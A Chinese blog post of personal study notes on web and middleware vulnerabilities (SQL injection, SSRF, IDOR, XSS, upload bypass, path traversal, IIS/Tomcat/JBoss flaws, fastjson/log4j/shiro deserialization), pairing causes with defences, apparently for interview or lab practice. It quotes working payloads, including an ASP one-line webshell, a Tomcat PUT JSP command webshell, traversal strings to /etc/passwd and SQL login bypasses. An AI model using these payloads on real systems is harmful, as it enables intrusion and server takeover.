漏洞汇总

弱口令

字典爆破

hacker101 micro-cms2

username为:

1
admin' or 1=1 --  时

登录窗口会提示无效的密码,那需要构造下密码,这是wp,我也不知道怎么尝试出来的

1
2
admin' union select '123' as password --
123

petshop

sql注入

用sqlmap扫

SSRF

...&url=http://xxx

...&url=file:///etc/passwd

修复方案:限制协议和target

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
原因
服务端提供了从其他服务器应用获取数据的功能且没有对目标地址做过滤与限制。
防御
1.限制协议:仅允许http和https请求。
2.限制IP:避免应用被用来获取内网数据,攻击内网。
3.限制端口:限制请求的端口为http常用的端口,比如,80,443,8080,8090。
4.过滤返回信息:验证远程服务器对请求的响应是比较简单的方法。
统一错误信息:免用户可以根据错误信息来判断远端服务器的端口状态。
有回显
直接通过页面加载出目标资产,可先尝试加载http://www.baidu.com 页面确认有ssrf,如果成功的话,可进一步将百度换成内网IP,通过fuzz扫描内网资产。
无回显
1.先配合dnslog平台,测试dnslog平台能否获取到服务器的访问记录,如果没有对应记录,也可能是服务器不出网造成的,利用时可以通过请求响应时间判断内网资产是否存在,然后再利用内网资产漏洞(比如redis以及常见可RCE的web框架)证明漏洞的有效性。
"... <!ENTITY test SYSTEM "SSRF.xxxx.ceye.io\\aa"> ..."
"... <!ENTITY test SYSTEM "SSRF.lkun0l.dnslog.cn\\aa"> ..."
2.使用burp的collaborator来进行尝试
3.开启apache服务,在存在ssrf处访问http://10.1.1.200(本机服务地址),查看服务器日志信息,打开日志确定是否被访问,确定是否存在ssrf漏洞。

未授权访问

ldap匿名访问

逻辑漏洞

账号注册

任意注册:验证码仅4位数字,可以爆破

修复方案:增加验证码长度,且超过一定次数重置

敏感信息泄露

登入页面,遇到用户的照片处,右键在新标签处打开,暴露了路径,从而泄露所有用户照片、甚至信息等。

修复方案:设置访问控制;文件路径保护(哈希);服务器端代理(客户端与服务端之间有一个代理,通过代理传递信息,这样客户端不会直接访问到服务端)

重要站点备份文件泄露:比如xxx/.svn/entries

越权

平行越权

注册两个账号A和B,A,B同时订单,A作为攻击者取消订单时,抓包,参数修改为B的id,将B的订单取消。

hacker101,postbook.

1.发布博客时,有一个user_id参数,起到指定某用户的作用,如果改这个id,造成的效果,应该是以其他用户的名义,发布内容

2.编辑博客时,url上的id更改后,会编辑它人的博客内容

3.删除操作时,url会有id=1f0e3dad99908345f7439f8ffabdffc4,其实是md5加密,解密为19;所以需要尝试其他人博客的id,md5替换之后,删除它人的博客内容

4.cookie的保持会话,里面有 id=1679091c5a880faf6fb5e6087eb1b2dc; md5解密后,内容为6;即代表了该用户,如果改为id=1的用户(md5之后),就能登录id=1用户

5.登录的弱口令user,passwod

6.f12的form格式

7.189 * 5

hackker101 购物车

1.添加商品,付款时,抓包,post会携带商品的信息列表,其中有price,尝试将price改为0,金额更改成功

2.扫一下目录,有login;那就暴力破解,哎一个好的字典

3.?

未授权访问

登入页面,导入文件,下载文件,抓包;更换浏览器对下载链接进行访问。

hacker101 micro-cms2

在编辑api版块,抓包,删除Cookie。

xss

日记或者留言(存储性xss)

构造短连接,用xss平台接收,可以接收到浏览者的cookie等信息

举例

hacker101里的,postbook:

文件上传

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
文件上传漏洞是指文件上传功能没有对上传的文件做合理严谨的过滤,导致用户可以利用此功能,上传能被服务端解析执行的文件,并通过此文件获得执行服务端命令的能力
通过利用任意文件上传漏洞可以最快获取WebShell,一般常见有三种情况:
1.站点没有任何防护,且上传点未做安全校验,则可直接上传WebShell文件。
2.站点存在简单防护:
前端校验文件后缀时,可先传允许的文件类型,然后抓包修改文件后缀。
MIME校验时,抓包修改Conten-Type为允许MIME类型。
3.CMS等的通用任意文件上传漏洞:绕过黑白名单、绕过文件内容检测、CMS的文件上传漏洞
绕过waf
1.数据溢出
2.数据阶段:%00截断
原理:C语言中字符串的结束标识符%00是结束符号,而PHP就是C写的,所以继承了C的特性,所以判断为%00是结束符号不会继续往后执行
3.去掉双引号绕过
4.文件名后缀大小写绕过

文件上传中include和require的区别
1.加载失败的处理方式及不同
include引入文件失败后会继续执行
require失败后停止执行
2.
Include是有条件包含函数
include 'file.php'; //file.php不会被引入
Require是无条件包含函数
require 'file.php'; //file.php将会被引入
3.文件引用方式
Include有返回值
Require没有返回值

目录遍历

原理,利用,防御

定义

运行应用程序的服务器上的任意文件。 这可能包括应用程序代码和数据,后端系统的登录信息以及敏感的操作系统文件。

原理

比如,web显示某些图片时,

<img src="/loadImage?filename=214.png">

该图片文件的位置若是被猜解到的话

比如存在,var/www/images/214.png

可构造如下:

https://www.*****.com/loadImage?filename=../../../etc/passwd

即:/var/www/images/../../../etc/passwd==/etc/passwd

利用

1.绝对路径:

由于../被过滤,可直接写filename=/etc/passwd

2.双写../绕过:

filename=....//....//....///etc/passwd

….//过滤掉一个../还剩下../

3.URL编码绕过:

. => %2e

/ => %2f

% => %25 (双重URL编码):即.被过滤了,尝试%2e也被过滤了,尝试%252e,三者是相等的

  1. 绝对路径配合../

filename=/var/www/images/../../../etc/passwd

5.截断文件后缀:对文件类型作了限制

/etc/passwd%00.jpg

防御

避免将用户提供的输入完全传递给文件系统API。

平台文件系统API规范化路径

war后门

成因:

Tomcat 支持在后台部署war文件,那么可以直接将webshell部署到web目录下

防御

1)在系统上以低权限运行Tomcat应用程序。创建一个专门的 Tomcat服务用户,该用户只能拥有一组最小权限(例如不允许远程登录)。

2)增加对于本地和基于证书的身份验证,部署账户锁定机制(对于集中式认证,目录服务也要做相应配置)。在CATALINA_HOME/conf/web.xml文件设置锁定机制和时间超时限制。

远程命令/代码执行

成因

输入过滤不严,使用了不安全命令执行函数

利用

命令执行

如php代码中直接调用系统函数shell_exec将用户输入的内容拼接进来

127.0.0.1|ipconfig 页面直接输出了ipconfig的内容。

1.exec():执行一个外部程序

2.system()
输出执行结果,返回最后一行。
如果PHP运行在服务器模块中,system()函数还会尝试在每行输出完毕之后,自动刷新web服务器的输出缓存。
3.passthru()
执行外部程序并且显示原始输出。同exec()函数类似,passthru()函数也是用来执行外部命令的。当所执行的Unix命令输出二进制数据,并且需要直接传送到浏览器的时候,需要用此函数来替代exec()或system()函数。常用来执行诸如pbmplus之类的可以直接输出图像流的命令。
4.shell_exec()
通过shell环境执行命令,并且将完整的输出以字符串的方式返回。该函数会在错误出现或者程序执行没有输出两种情况下返回NULL,也就是说,没有办法通过该函数检测程序执行失败(可以改用exec)。
5.popen()
打开一个指向进程的管道,该进程由派生指定的 command 命令执行而产生。返回一个和 fopen() 所返回的相同的文件指针,只不过它是单向的(只能用于读或写),此指针可以用于 fgets(),fgetss() 和 fwrite()。并且必须用 pclose() 来关闭。若出错,则返回 false。
6.proc_open()
执行一个命令,并且打开用来输入/输出的文件指针。

代码执行

eval() 把字符串作为PHP代码执行
assert() 检查一个断言是否为 FALSE,可用来执行代码
preg_replace() 执行一个正则表达式的搜索和替换
call_user_func() 把第一个参数作为回调函数调用
call_user_func_array() 调用回调函数,并把一个数组参数作为回调函数的参数
array_map() 为数组的每个元素应用回调函数

防御

1.尽量不要使用命令执行函数。
2.客户端提交的变量在进入执行命令函数前要做好过滤和检测。
3.在使用动态函数之前,确保使用的函数是指定的函数之一。
4.对PHP语言来说,不能完全控制的危险函数最好不要使用。

端口漏洞

27017 mongodb,漏洞:未授权访问
27017 mongodb,漏洞:爆破,未授权
27018 mongodb,漏洞:未授权
3306 mysql,漏洞:爆破,拒绝服务,注入
3389 rdp/windows远程连接,漏洞:爆破,shift后门,3389漏洞攻击

3389连接不上的原因:

1.端口更改

2.防火墙

3.目标机在内网

445 smb,漏洞:溢出漏洞
6379 redis,漏洞:弱口令,未授权访问

SMB(全称是Server Message Block)是一个协议服务器信息块,它是一种客户机/服务器、请求/响应协议,通过SMB协议可以在计算机间共享文件、打印机、命名管道等资源,电脑上的网上邻居就是靠SMB实现的;SMB协议工作在应用层和会话层,可以用在TCP/IP协议之上,SMB使用TCP139端口和TCP445端口。

永恒之蓝是在Windows的SMB服务处理SMB v1请求时发生的漏洞,这个漏洞导致攻击者在目标系统上可以执行任意代码。通过永恒之蓝漏洞会扫描开放445文件共享端口的Windows机器,无需用户任何操作,只要开机上网,不法分子就能在电脑和服务器中植入勒索软件、远程控制木马、虚拟货币挖矿机等恶意程序。

永恒之蓝部分筛选自CSDN博主「小P0~0」的原创文章

端口部分筛选自CSDN博主「Bolgzhang」的原创文章

反序列化

java、shiro、php

Web中间件

IIS

Web(网页)服务组件,其中包括Web服务器、FTP服务器、NNTP服务器和SMTP服务器,分别用于网页浏览、文件传输、新闻服务和邮件发送等方面,它使得在网络(包括互联网和局域网)上发布信息成了一件很容易的事。

Put漏洞

成因

IIS Server 在 Web 服务扩展中开启了 WebDAV ,配置了可以写入的权限,造成任意文件上传。

版本: IIS6.0

利用

开启了webDAV的写入权限后,抓包,将GET请求改为OPTIONS,可以看到响应内容有PUT。

IIS put scanner扫描一下判断是否允许put方法

使用iiswrite工具进行iis put漏洞测试利用,首先使用PUT方法进行绕过,上传包含asp一句话木马的test.txt文件,

<%execute(request("a"))%>

再用MOVE方法,将txt转化为木马文件,

从而蚁剑,getshell。

PS:如果网站属性未允许脚本资源访问,MOVE方法修改txt文件会报错。

可以利用IIS目录解析漏洞,MOVE方式时,将shell.asp改写为shell.asp;.txt

蚁剑连接../shell.asp;.txt 即可。

防御

关闭WebDAV和写权限

禁用访客写入权限

短文件名猜解

成因

它使用8个字符的文件名,后面跟着句点和三个字符的文件扩展名。文件名超过八个,则会显示:波浪号+数字表示截断部分

IIS的短文件名机制,可以暴力猜解短文件名,访问构造的某个存在的短文件名,会返回404(未找到文件或目录),访问构造的某个不存在的短文件名,返回400(错误请求)。

使用的是IIS6.0(<8.0),需要在web服务拓展里开启ASP.NET

利用

若存在一个文件bbccddee.html以及文件夹webtest_efwef

http://xxx/we*~1*/a.aspx 返回404 则存在文件夹

http://xxx/wa*~1*/a.aspx 返回400 即bad,不存在该文件夹

最多判断长度为6个webtes~1/a.aspx**

../webtes*~1/a.aspx判断类型,404则表示是文件夹,400表示文件

可以进而判断文件类型

../bbccdd*~1.a*/a.aspx 返回400,不是该后缀

../bbccdd*~1.h*/a.aspx返回404,则继续

../bbccdd*~1.htm*/a.aspx返回404,则确认后缀为html;短文件名后缀最长为3。

同理可猜解到shell.asp;.txt文件, ../shella*~1.txt*/a.aspx

防御

升级.net framework

修改注册表禁用短文件名功能

CMD关闭NTFS 8.3文件格式的支持

将web文件夹的内容拷贝到另一个位置,如c:\www到d:\w,然后删除原文件夹,再重命名d:\w到c:\www。

局限性

  1. 此漏洞只能确定前6个字符,如果后面的字符太长、包含特殊字符,很难猜解;
  2. 如果文件名本身太短(无短文件名)也是无法猜解的;
  3. 如果文件名前6位带空格,8.3格式的短文件名会补进,和真实文件名不匹配;

远程代码执行1

成因

在IIS6.0处理PROPFIND指令的时候,由于对url的长度没有进行有效的长度控制和检查,导致执行memcpy对虚拟路径进行构造的时候,引发栈溢出,从而导致远程代码执行。

利用

防御

1)关闭 WebDAV 服务

2) 使用相关防护设备

远程代码执行2

成因

iis默认启用内核缓存,执行与请求处理管道中缓存有关的任务。当HTTP协议堆栈(HTTP.sys)不正确地解析HTTP请求时会导致IIS远程代码执行漏洞。

安装了微软IIS 6.0以上的win 7/8/8.1/2008 R2/2012/2012 R2都受到这个漏洞的影响。

利用

防御

打补丁

解析漏洞

成因

IIS 6.0 在处理含有特殊符号的文件路径时会出现逻辑错误,从而造成文件解析漏洞。这一漏洞有两种完全不同的利用方式:

/test.asp/test.jpg

test.asp;.jpg

利用1

第一种是新建一个名为 “test.asp” 的目录,该目录中的任何文件都被 IIS 当作 asp 程序执行(特殊符号是 “/” )

利用2

上传名为 “test.asp;.jpg” 的文件,虽然该文件真正的后缀名是 “.jpg”, 但由于含有特殊符号 “;” ,仍会被 IIS 当做 asp 程序执行

IIS7.5 文件解析漏洞

test.jpg/.php

URL 中文件后缀是 .php ,便无论该文件是否存在,都直接交给 php 处理。

即 php 修理文件路径 “test.jpg/.php” 得到 ”test.jpg” ,该文件存在,便把该文件作为 php 程序执行了。

防御

1)对新建目录文件名进行过滤,不允许新建包含‘.’的文件

2)曲线网站后台新建目录的功能,不允许新建目录

3)限制上传的脚本执行权限,不允许执行脚本

4)过滤.asp/xm.jpg,通过ISApi组件过滤

Apache

由于其 跨平台 和安全性被广泛使用,是最流行的Web服务器端软件之一。它快速、可靠并且可通过简单的API扩充,将 Perl/ Python等 解释器编译到服务器中。

解析漏洞

成因

用户配置问题,Apache默认一个文件可以有多个以点分隔的后缀,对于后缀名是从右往左解析。

利用

shell.xxx.yyy,先解析yyy,不存在,再解析xxx

防御

将AddHandler application/x-httpd-php .php的配置文件删除。

目录遍历

成因

由于配置错误导致的目录遍历。

利用

访问ip地址,可以看到所有文件或目录

防御

修改apache配置文件httpd.conf

找到Options+Indexes+FollowSymLinks +ExecCGI并修改成 Options-Indexes+FollowSymLinks +ExecCGI 并保存;

Nginx

轻量级的 Web 服务器、 反向代理 服务器及 电子邮件(IMAP/POP3)代理服务器,并在一个BSD-like 协议下发行。其特点是占有内存少, 并发能力强,事实上nginx的并发能力确实在同类型的网页服务器中表现较好

文件解析

成因

对任意文件名,在后面添加/任意文件名.php的解析漏洞,比如原本文件名是test.jpg,可以添加test.jpg/x.php进行解析攻击。会解析为test.php

利用

如果里面刚好写有php代码,会以php文件执行

防御

1) 将php.ini文件中的cgi.fix_pathinfo的值设为0.这样php在解析1.php/1.jpg这样的目录时,只要1.jpg不存在就会显示404;

2) 将/etc/php5/fpm/pool.d/www.conf中security.limit_ectensions后面的值设为.php

目录遍历

类似于apache,配置不当造成目录内容的泄露

将/etc/nginx/sites-avaliable/default里的autoindex on改为autoindex off

CRLF注入

成因

CRLF时“回车+换行”(\r\n)的简称。

HTTP Header与HTTP Body时用两个CRLF分隔的,浏览器根据两个CRLF来取出HTTP内容并显示出来。

通过控制HTTP消息头中的字符,注入一些恶意的换行,就能注入一些会话cookie或者html代码,由于Nginx配置不正确,导致注入的代码会被执行。

利用

抓包,在url请求上加入/%0d%0a%0d%0a<img src=1 onerror=alert(/xss/)>

防御

Nginx的配置文件/etc/nginx/conf.d/error1.conf修改为使用不解码的url跳转。

目录穿越

成因

Nginx反向代理,静态文件存储在/home/下,而访问时需要在url中输入files,配置文件中/files没有用/闭合,导致可以穿越至上层目录。

利用

即可以实现目录跳转,显示为

../

a/

b/

c/

可以点击第一行,访问其它目录页面

防御

Nginx的配置文件/etc/nginx/conf.d/error2.conf的/files使用/闭合。

Tomcat

一个免费的开放源代码的Web 应用服务器,属于轻量级应用 服务器,在中小型系统和并发访问用户不是很多的场合下被普遍使用,是开发和调试JSP 程序的首选。

Tomcat是Apache 服务器的扩展,但运行时它是独立运行的,所以当运行tomcat 时,它实际上作为一个与Apache 独立的进程单独运行的。

远程代码执行

成因

Tomcat 运行在Windows 主机上,且启用了 HTTP PUT 请求方法,可通过构造的攻击请求向服务器上传包含任意代码的 JSP 文件,造成任意代码执行。

影响版本: Apache Tomcat 7.0.0 – 7.0.81

利用

请求方式改为put

url参数为:/122.jsp%20 HTTP/1.1

上传post参数为<%Runtime.getRuntime().exec(request.getParameter("cmd"));%>

防御

1)检测当前版本是否在影响范围内,并禁用PUT方法。

2)更新并升级至最新版。

war后门文件部署

在后台上传包含后门的war包

jBoss

jBoss是一个基于J2EE的开发源代码的应用服务器。 JBoss代码遵循LGPL许可,可以在任何商业应用中免费使用。JBoss是一个管理EJB的容器和服务器,支持EJB1.1、EJB 2.0和EJB3的规范。但JBoss核心服务不包括支持servlet/JSP的WEB容器,一般与Tomcat或Jetty绑定使用。

反序列化漏洞

成因

Java序列化,简而言之就是把java对象转化为字节序列的过程。而反序列话则是再把字节序列恢复为java对象的过程,然而就在这一转一变得过程中,程序员的过滤不严格,就可以导致恶意构造的代码的实现。

利用

访问/invoker/readonly。

返回500,说明页面存在,此页面有反序列化漏洞

刷新,改包:请求方式为post,请求数据为右键->paste from file->payload.bin

防御

1)不需要http-invoker.sar 组件的用户可直接删除此组件;

2)用于对 httpinvoker 组件进行访问控制。

war后门文件部署

webLogic

基于JAVAEE架构的中间件,WebLogic是用于开发、集成、部署和管理大型分布式Web应用、网络应用和数据库应用的Java应用服务器。将Java的动态功能和Java Enterprise标准的安全性引入大型网络应用的开发、集成、部署和管理之中。

反序列化

利用

vulhub

防御

升级补丁

SSRF

成因

利用该漏洞可以发送任意HTTP请求,进而攻击内网中redis、fastcgi等脆弱组件。

任意文件上传

war后门文件部署

java安全基础

父类子类同名->子类优先于父类

反射:

人话就是私有方法,无法被别的调用,但是用 反射 突破这个限制

比如Demo类中调用Test的私有take方法

1
2
3
4
5
6
7
8
9
Test类
public class Test{
String a;
private String b;

private void take(String a,String b){
System.out.println(a+b);
}
}
1
2
3
4
5
6
7
8
9
10
11
Demo类
Public class demo{
public static void main(Sting[] args) thros ....{
Test test=new Test();
Class c1=class.forName("org.xx.Test"); //test类的路径位置

Method method=c1.getDeclaredMethod("take",String.class,String.class);//方法名和两参数类型
method.setAccessible(true);//保护机制,默认写法
method.invoke(test,"I am","Ironman");
}
}

反射的要求:

1.先获取类的字节码对象
1
2
3
4
5
6
//3种方法
Class.forName("类字符串名") //字符串名动态加载类

简单类名.class //使用类的类字面常量

Object对象.getClass() //对象实例调用getClass()方法
2.获取构造函数
1
2
3
4
getConstructors() //获取所有公开构造函数
getConstructor(参数类型) //获取单个公开的构造函数
getDeclaredConstructors() //所有构造函数(包括私有)
getDeclaredConstructors(参数类型) //获取一个所有的构造函数
3.获取名字
1
2
getName() //获取类全名,入com.company.test
getSimpleName() //获取类名 test

参考:微信公众号——网安守护https://mp.weixin.qq.com/s/n7TqjNXY6NtHnmFgYr44sA

4.获取方法
1
getMethoed() //获取所有公开方法
5.获取字段
1
2
3
4
getFields() //公开字段
getFields(String name) //特定名的公开字段
getDeclaredFields() //所有字段(包括私有)
getDeclaredFields(String name)
6.获取访问属性
1
2
3
Field.setAccessible(true) //私有字段可访问

invoke(Object,Object... args) //调用对象的方法,接受一个对象实例及其参数

类加载

这里主要是顺序,先是静态代码块->同名自定义类

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
public class Test {

String a;
static{
System.out.println("静态1");
}

public Test(){
System.out.println("同名无参代码块");
}

public Test(String a){
System.out.println("同名有参代码块");
}

{
System.out.println("静态2");
}
}
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
package com.company;

public class Main {

public static void main(String[] args) throws ClassNotFoundException, IllegalAccessException, InstantiationException {
// write your code here
Test test=new Test();
//
//class对象
ClassLoader systemClassLoader=ClassLoader.getSystemClassLoader();

//动态类加载
Class a=systemClassLoader.loadClass("com.company.Test");

//创建新示例
a.newInstance();
}
}

静态1
静态2
同名无参代码块
静态2
同名无参代码块

主要是

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
//代码1
Test test=new Test();


//代码2
Test test=new Test();
//
//class对象
ClassLoader systemClassLoader=ClassLoader.getSystemClassLoader();
Class a=systemClassLoader.loadClass("com.company.Test");

//结果都是:
静态1
静态2
同名无参代码块

这一块有点迷,想说明什么情况?

序列化

即字节流传输

shiro漏洞就是这个,构造恶意序列化数据

1
2
3
4
5
6
//下面是一个简单的rce,但是如何远程访问
public class Test {
public static void main(String[] args) throws IOException {
Runtime.getRuntime().exec("calc");
}
}

等同于下面这种方法:(我理解不深,不太懂),算是一种间接执行的样子

由于Transformer方法只要一个(这里有多个),所以CC1链时也不用这个

1
2
3
4
5
6
7
8
9
10
11
Class run =Runtime.class;
//这里的getRuntime为了构造一个无参调用方法
Method getRuntimeMethod=run.getMethod("getRuntime",null);

//反射出来的exec方法强转一个无参构造,说是因为Runtime构造器私有
Runtime r1=(Runtime)getRuntimeMethod.invoke(null,null);
//获取gettRuntime.exec
Method exec=run.getMethod("exec",String.class);
//通过class反射出来的exec拼接午餐getRuntime,形成getRuntime.exec(args) 进行命令执行
//反射调用,所以可以序列化
exec.invoke(r1,"calc");

CVE

fastjson

开源JSON解析库,它可以解析JSON格式的字符串,支持将Java Bean序列化为JSON字符串,也可以从JSON字符串反序列化到JavaBean。Fastjson存在远程代码执行漏洞,autotype开关的限制可以被绕过,链式的反序列化攻击者精心构造反序列化利用链,最终达成远程命令执行的后果。此漏洞本身无法绕过Fastjson的黑名单限制,需要配合不在黑名单中的反序列化利用链才能完成完整的漏洞利用。

根本原因还是Fastjson的autotype功能,此功能可以反序列化的时候人为指定精心设计的类,达成远程命令执行

AutoType功能

使用各种Json序列化工具的时候,其实在序列化之后很多情况是没有包含任何类信息的,如:

{“fruit”:{“name”:”apple”},”mode”:”online”}

使用时有两种方式:直接转为一个JSONObject,然后通过key值取对应的数据;另外一种就是指定需要转换的对象:

public static <T> T parseObject(String text, Class<T> clazz)

将给定的文本(text)解析为指定的类(clazz)的对象,并返回解析后的对象。该方法使用了泛型(Generic)来实现通用性。

这样可以直接拿到类对象。

然而由于业务中多态的需求,如:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
//水果接口类
public interface Fruit {
}

//通过指定的方式购买水果
public class Buy {
private String mode;
private Fruit fruit;
}

//具体的水果类--苹果
public class Apple implements Fruit {
private String name;
}

如果只是序列化为没有类信息的json字符串,那么其中的Fruit就无法识别具体的类:

String jsonString = “{“fruit”:{“name”:”apple”},”mode”:”online”}”;

Buy newBuy = JSON.parseObject(jsonString, Buy.class);

Apple newApple = (Apple) newBuy.getFruit();

这种情况下直接强转直接报ClassCastException异常;

为此FastJson引入了autotype功能,:

1
2
3
4
Apple apple = new Apple();
apple.setName("apple");
Buy buy = new Buy("online", apple);
String jsonString2 = JSON.toJSONString(buy, SerializerFeature.WriteClassName);

在序列化的时候指定SerializerFeature.WriteClassName即可,这样序列化之后的json字符串如下所示:

{“@type”:”com.fastjson.Buy”,”fruit”:{“@type”:”com.fastjson.impl.Apple”,”name”:”apple”},”mode”:”online”}

这样在反序列化的时候就可以转成具体的实现类;但是就是因为在json字符串中包含了类信息,给了黑客攻击的可能。

fastjson攻击

当 Fastjson 在反序列化过程中遇到带有 @type 属性的 JSON 字符串时,它会自动根据 @type 属性的值创建对应的 Java 对象

攻击者可以构造一个带有恶意 @type 属性的 JSON 字符串,并将其传递给 Fastjson 进行反序列化。当 Fastjson 反序列化该 JSON 字符串时,它会实例化恶意的 Java 类,并执行其中的恶意代码,从而导致远程代码执行漏洞。

比如 当我们使用 Fastjson 的 JSON.parseObject() 方法对该 JSON 字符串进行反序列化时,Fastjson 会自动创建一个 com.example.EvilClass 的对象,并执行其构造函数中的恶意代码。

log4j

即java的一个日志框架。主要是由于JNDI的查找功能。

log4j在解析特定的日志消息时,会自动执行JNDI查找,攻击者通过构造恶意的 JNDI 地址,其可能指向一个恶意的 LDAP 服务器,攻击者可以在该服务器上设置特殊的响应,以触发远程代码执行。

shiro原理

开源的Java安全框架,用于身份认证、授权和会话管理等安全功能

  • shiro默认使用了CookieRememberMeManager,其处理cookie的流程是:得到rememberMe的cookie值–>Base64解码–>AES解密–>反序列化 然而AES的密钥是硬编码的,就导致了攻击者可以构造恶意数据造成反序列化的RCE漏洞。

3.fastjson ,log4j,shiro原理

5.linux查看进程命令,linux有哪些日志文件,在什么位置

  • 版权声明: 本博客所有文章除特别声明外,著作权归作者所有。转载请注明出处!
  • Copyrights © 2023-2025 是羽泪云诶
  • 访问人数: | 浏览次数:

请我喝杯咖啡吧~

支付宝
微信